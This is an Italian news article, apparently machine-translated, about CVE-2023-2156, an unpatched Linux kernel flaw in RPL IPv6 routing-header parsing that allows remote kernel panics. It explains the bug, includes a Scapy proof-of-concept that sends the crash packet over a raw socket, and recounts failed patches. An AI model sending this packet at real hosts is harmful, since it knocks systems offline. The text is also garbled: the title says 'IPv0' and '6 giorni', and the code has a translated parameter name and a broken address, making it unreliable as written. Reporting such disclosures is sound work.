Vulnerabilità dello stack IPv0 Linux di 6 giorni che consente l'arresto anomalo del kernel remoto

Sono state divulgate informazioni su una vulnerabilità senza patch (0-day) (CVE-2023-2156) nel kernel Linux che consente di arrestare il sistema inviando pacchetti IPv6 appositamente predisposti (packet-of-death). Il problema si presenta solo quando è abilitato il supporto per il protocollo RPL (Routing Protocol for Low-Power and Lossy Networks), che è disabilitato di default nelle distribuzioni e viene utilizzato principalmente su dispositivi embedded operanti in reti wireless con elevata perdita di pacchetti.

La vulnerabilità è causata dalla gestione errata dei dati esterni nel codice di analisi del protocollo RPL, che porta a un errore di asserzione e al kernel che entra in uno stato di panico. Quando si inseriscono nella struttura k_buff (Socket Buffer) i dati ottenuti come risultato dell'analisi dell'intestazione del pacchetto RPL IPv6, se il campo CmprI è impostato a 15, il campo Segleft è impostato a 1 e CmprE è impostato a 0, a 48 -byte indirizzo vettore viene decompresso a 528 byte e una situazione in cui non c'è abbastanza memoria allocata per il buffer. In questo caso, la funzione skb_push utilizzata per inserire i dati nella struttura attiva un controllo per la dimensione sproporzionata dei dati e del buffer, generando uno stato di panico per impedire la sovrascrittura del buffer.

Esempio di exploit: # Useremo Scapy per creare il pacchetto da scapy.all import * import socket # Usa IPv6 dalla tua interfaccia LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Usiamo i socket per inviare il pacchetto sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea il pacchetto # Type = 3 lo rende un pacchetto RPL # Addresses contiene 3 indirizzi, ma poiché CmprI è 15, # ogni ottetto dei primi due indirizzi è trattato come un indirizzo compresso # Segleft = 1 per attivare l'amplificazione # lastentry = 0xf0 imposta CmprI a 15 e CmprE a 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, indirizzi=["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Invia questo pacchetto malvagio sockfd.sendto(bytes(p), (DST_ADDR, 0))

È interessante notare che gli sviluppatori del kernel sono stati informati della vulnerabilità nel gennaio 2022 e negli ultimi 15 mesi hanno provato a risolvere il problema tre volte rilasciando patch a settembre 2022, ottobre 2022 e aprile 2023, ma ogni volta le correzioni non sono state abbastanza e la vulnerabilità è stata in grado di riprodursi. Alla fine, il progetto ZDI, che ha coordinato il lavoro per eliminare la vulnerabilità, ha deciso di divulgare informazioni dettagliate sulla vulnerabilità, senza attendere la comparsa di una patch funzionante nel kernel.

Pertanto, la vulnerabilità è ancora priva di patch. Includere la patch inclusa nel kernel 6.4-rc2 non è efficace. Si consiglia agli utenti di verificare che il protocollo RPL non sia utilizzato sui propri sistemi, operazione che può essere eseguita utilizzando sysctl -a | grep -i rpl_seg_enabled

Fonte: opennet.ru

Aggiungi un commento